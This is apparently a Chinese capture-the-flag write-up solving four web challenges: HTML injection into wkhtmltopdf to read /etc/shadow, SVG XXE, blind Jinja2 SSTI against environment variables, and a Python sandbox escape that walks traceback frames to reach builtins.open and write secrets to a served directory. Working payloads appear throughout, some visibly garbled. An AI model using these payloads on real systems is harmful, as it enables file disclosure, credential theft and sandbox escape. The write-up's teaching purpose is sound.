WEEK3 LFI | PDF
开头是这个

信息收集无果,/admin登不进去,没信息,先从这下手,PDF在服务器渲染,这里使用了wkhtmltopdf,以下是简介
wkhtmltopdf (核心原理)
关键在于:wkhtmltopdf 内部实际运行的是一个浏览器内核(WebKit)。浏览器内核负责实现 DOM、CSSOM、JavaScript 引擎(在 WebKit 中是 JavaScriptCore)和浏览器 API(包括 XMLHttpRequest、fetch、document、window 等)。因此:
- 当你把 HTML 输进后端并由
wkhtmltopdf渲染时,它会把 HTML 交给 WebKit 去解析与执行; - WebKit 会执行
<script>标签里的 JavaScript;JavaScript 里可以调用浏览器 API(XMLHttpRequest、fetch、DOM 操作等); XMLHttpRequest的实现是内核层面的网络请求实现(不是浏览器外壳的“window.fetch 的 polyfill”),所以它能发起对 HTTP(s) 或file://的请求(前提是内核允许这些协议/路径在当前配置下访问)。- 所以可以利用XMLHttpRequest去本地读文件,直接打payload
● <h1>title</t1>● <script> ○ var x = XMLHttpRequest();○ x.onload=function(){ ■ document.write('<pre>',this.responsetext,'</pre>'); ○ };○ x.open=('GET','file:///etc/shadow','true');○ x.send();● </script>直接读取了用户和密码,其中有个可疑的用户,直接放登录里爆破直接出了,没难度
w3图像预览XML

开头是这个画面,图像预览,发现可以把图像内嵌到网页中,并且可以上传svg,那我们尝试在里面包含js
#
发现直接渲染报错,有可能是服务器端禁止渲染js,那我们尝试svg内嵌声明文档,XXE开始
<?xml version=1.0?><!DOCTYPE svg[xmlD]><svg xmlns="http://www.w3.org/2000/svg><text>&xxe;</text></svg>直接打拿到flag,完结
w3简单SSTI盲注
开始界面,发现{{}}可以被渲染,但是只有三种回显,大致一个是渲染错误,一个是不让你渲染,一个是渲染出来不告诉你,直接进行盲注,因为没扫到flag,试试环境变量,直接打payload
?name={{config.class.init.globals[‘builtins’].import(‘os’).environ[‘FLAG’][‘0’]==‘S’}}然后一个一个手注就行,我有空写个脚本
W3压轴,西纳普斯许愿杯,栈帧逃逸
给了附件,代码审计。来吧
wish_stone.py
import multiprocessingimport sysimport ioimport ast
class Wish_stone(ast.NodeVisitor): forbidden_wishes = { "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__", "__globals__", "__code__", "__closure__", "__func__", "__self__", "__module__", "__import__", "__builtins__", "__base__" }
def visit_Attribute(self, node): if isinstance(node.attr, str) and node.attr in self.forbidden_wishes: raise ValueError self.generic_visit(node)
def visit_GeneratorExp(self, node): raise ValueError
SAFE_WISHES = { "print": print, "filter": filter, "list": list, "len": len, "addaudithook": sys.addaudithook, "Exception": Exception,}
def wish_granter(code, result_queue): safe_globals = {"__builtins__": SAFE_WISHES}
sys.stdout = io.StringIO() sys.stderr = io.StringIO()
try: exec(code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() if error: result_queue.put(("err", error)) else: result_queue.put(("ok", output)) except Exception: import traceback result_queue.put(("err", traceback.format_exc()))
def safe_grant(wish: str, timeout=3): wish = wish.encode().decode('unicode_escape') try: parse_wish = ast.parse(wish) Wish_stone().visit(parse_wish) except Exception as e: return f"Error: bad wish ({e.__class__.__name__})"
result_queue = multiprocessing.Queue() p = multiprocessing.Process(target=wish_granter, args=(wish, result_queue)) p.start() p.join(timeout=timeout)
if p.is_alive(): p.terminate() return "You wish is too long."
try: status, output = result_queue.get_nowait() print(output) return output if status == "ok" else f"Error grant: {output}" except: return "Your wish for nothing."
CODE = '''def wish_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exceptionaddaudithook(wish_checker)print("{}")'''
badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")
def evaluate_wish_text(text: str) -> str: for ch in badchars: if ch in text: print(f"ch={ch}") return f"Error:waf {ch}" out = safe_grant(CODE.format(text)) returnapp.py
from flask import Flask, render_template, send_from_directory, jsonify, requestimport jsonimport threadingimport time
app = Flask(__name__, template_folder='template', static_folder='static')with open("asset/txt/wishes.json", 'r', encoding='utf-8') as f: wishes = json.load(f)['wishes']
wishes_lock = threading.Lock()
@app.route('/')def index(): return render_template('index.html')
@app.route('/assets/<path:filename>')def assets(filename): return send_from_directory('asset', filename)
@app.route('/api/wishes', methods=['GET', 'POST'])def wishes_endpoint(): from wish_stone import evaluate_wish_text if request.method == 'GET': with wishes_lock: evaluated = [evaluate_wish_text(w) for w in wishes] return jsonify({'wishes': evaluated})
data = request.get_json(silent=True) or {} text = data.get('wish', '') if isinstance(text, str) and text.strip(): with wishes_lock: wishes.append(text.strip())
return jsonify({'ok': True}), 201 return jsonify({'ok': False, 'error': 'empty wish'}), 400
def _cleanup_task(): while True: with wishes_lock: if len(wishes) > 6: del wishes[6:] time.sleep(0.5)
if __name__ == '__main__': threading.Thread(target=_cleanup_task, daemon=True).start() app.run(host='0.0.0.0', port=8080, debug=False, use_reloader=False)看到这么多路由,脑子估计嗡嗡了,别怕,一步一步来,我在呢。
首先看看能提交什么,在/api/wishes这里可以提交,然后导入了这个wish_stone的函数,让我们看看
这个函数
for ch in badchars:
if ch in text:
print(f”ch={ch}”)
return f”Error
out = safe_grant(CODE.format(text))
return
用上面这个函数审查了传入的信息,badchars是
还有个审计钩子也在里面
CODE = '''def wish_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exceptionaddaudithook(wish_checker)print("{}")'''基本所有符号都不能用,咋整,没事继续看,接下来是添加到data,然后是text,text之后有个方法是safe_grant,看看上面,可以把传入的wish编码成bytes,然后可以把wish按照unicode转码,于是我们发现了漏洞,之前不是基本所有都限制了吗,unicode可以绕过,黑名单并没有\,继续看看利用链,然后又被黑名单筛选了一次,这黑名单是真的多,接下来就送到了exec的函数这,因为又有个白名单,这题很鬼,两个黑名单一个白名单,还有顺序,以下是白名单:
SAFE_WISHES = { "print": print, "filter": filter, "list": list, "len": len, "addaudithook": sys.addaudithook, "Exception": Exception,}回溯一下发现在因为最后传到code的是CODE的一个钩子,因为最后是print(’{}‘)所以我们要绕过,用”);xxxx#“)这样,后面插入恶意payload就可以了,经历审计钩子之后就会被传到code去执行exec,但是最后是没有回显的,最后搞了好久终于沙箱逃逸,以下是payload,会进行讲述:
");filter = lambda f,it:[1];len = lambda x:0try: raise Exceptionexcept Exception as e: tb = e.__traceback__ f = tb.tb_frame while f is not None: g = f.f_globals if "sys" in g: m = g["sys"] b = m.modules["builtins"] o = b.open f2 = o("/proc/self/environ", "r") d = f2.read() f2.close() w = o("/app/asset/xxx.txt", "w") w.write(d) w.close() break f = f.f_back#"“)那个就不说了,就是为了构造额外语句,接下来的filter是为了覆盖内置函数,不然有这个黑名单没法整了,覆盖之后就只回返回1,这个1不是很重要,重要的是这个审计钩子这部分失效了,只会抛出空列表,然后看下面,
if len(args) > 0:,直接替换len,使用匿名函数,只会输出0,然后就绕开这两个钩子。
接下来才是重点,唉,我何德何能。
首先
raise Exception
except Exception as e:
tb = e.__traceback__是引出错误调出错误信息,然后捕获这个错误信息,然后去调用这个错误的栈信息。tb_frame去找这个利用链的的源头,while x is not none是一个回溯循环,如果这一个层没有就往下一层找,总有一层能找到这些全局变量,等到哪一利用层有这个的时候,去拿到sys.modules,这里存了所有加载的模块,然后拿到内置模块builtins,去读取环境变量(‘我猜flag在那’),然后层层定义,因为没有回显,又因为全部路由只有这里是可疑的
@app.route('/assets/<path:filename>')def assets(filename): return send_from_directory('asset', filename)这个路由时会把写入/assets/path:filename的东西return到asset目录,于是我们先写入/app/asset/xxx.txt,然后去读取/asset/xxx.txt。有东西!!!

发现了flag,SYC{xxxxx}。
ok完结
部分信息可能已经过时





